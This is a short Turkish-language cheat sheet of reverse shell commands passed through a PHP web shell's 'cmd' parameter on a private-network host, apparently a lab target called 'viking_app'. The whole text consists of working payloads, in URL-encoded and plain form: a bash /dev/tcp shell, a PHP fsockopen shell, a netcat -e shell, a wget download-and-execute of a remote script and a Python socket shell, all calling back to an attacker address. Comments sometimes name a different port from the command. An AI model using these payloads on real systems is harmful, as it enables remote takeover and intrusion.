🔥 Alternatif Reverse Shell Komutları
url adreslerinde çalışması için boşluk gibi özel karakterleri %20 gibi ifadeler ile kodlar yazılmıştır. bunlardan kurtulmak istiyorsanız yorum sonundaki kod alanında sade görünümleri var.
Bash ile Reverse Shell (Linux İçin)
http://192.168.238.134/viking_app/shell.php?cmd=bash%20-i%20>%26%20/dev/tcp/192.168.238.129/1212%200>%261
PHP ile Reverse Shell
http://192.168.238.134/viking_app/shell.php?cmd=php%20-r%20'\$sock=fsockopen("192.168.238.129",1212);exec("/bin/sh%20-i%20<&3%20>&3%202>&3");'
düm düz yazmakta denemeye değer
http://192.168.238.134/viking_app/shell.php?cmd=nc%20192.168.238.129%201212%20-e%20/bin/bash
Netcat ile Reverse Shell:
http://192.168.238.134/viking_app/shell.php?cmd=wget%20http://192.168.238.129/reverse_shell.sh%20-O%20/tmp/reverse_shell.sh;%20chmod%20+x%20/tmp/reverse_shell.sh;%20/tmp/reverse_shell.sh
Python ile Reverse Shell (Eğer Python Kuruluysa)
http://192.168.238.134/viking_app/shell.php?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.238.129",1453));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
her komutu basit ve sade bir şekilde açıklamalı olarak yazıyorum:
# 1. Bash ile Reverse Shell (Linux İçin)
# Bu komut, bash kabuğunu 192.168.238.129 IP adresine ve 1453 portuna bağlar.
http://192.168.238.134/viking_app/shell.php?cmd=bash -i >& /dev/tcp/192.168.238.129/1212 0>&1
# 2. PHP ile Reverse Shell
# Bu komut, PHP kullanarak 192.168.238.129 IP adresine ve 1453 portuna bir ters bağlantı başlatır.
http://192.168.238.134/viking_app/shell.php?cmd=php -r '$sock=fsockopen("192.168.238.129",1453);exec("/bin/sh -i <&3 >&3 2>&3");'
# 3. Netcat ile Reverse Shell
# Bu komut, netcat (nc) kullanarak 192.168.238.129 IP adresine ve 1453 portuna ters bağlantı başlatır.
http://192.168.238.134/viking_app/shell.php?cmd=nc 192.168.238.129 1453 -e /bin/bash
# 4. Netcat ile Reverse Shell (Dosya İndirip Çalıştırma)
# Bu komut, bir reverse shell script'ini indirir, çalıştırır ve bağlantıyı kurar.
http://192.168.238.134/viking_app/shell.php?cmd=wget http://192.168.238.129/reverse_shell.sh -O /tmp/reverse_shell.sh; chmod +x /tmp/reverse_shell.sh; /tmp/reverse_shell.sh
# 5. Python ile Reverse Shell (Eğer Python Kuruluysa)
# Bu komut, Python kullanarak bir ters bağlantı başlatır.
http://192.168.238.134/viking_app/shell.php?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.238.129",1453));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'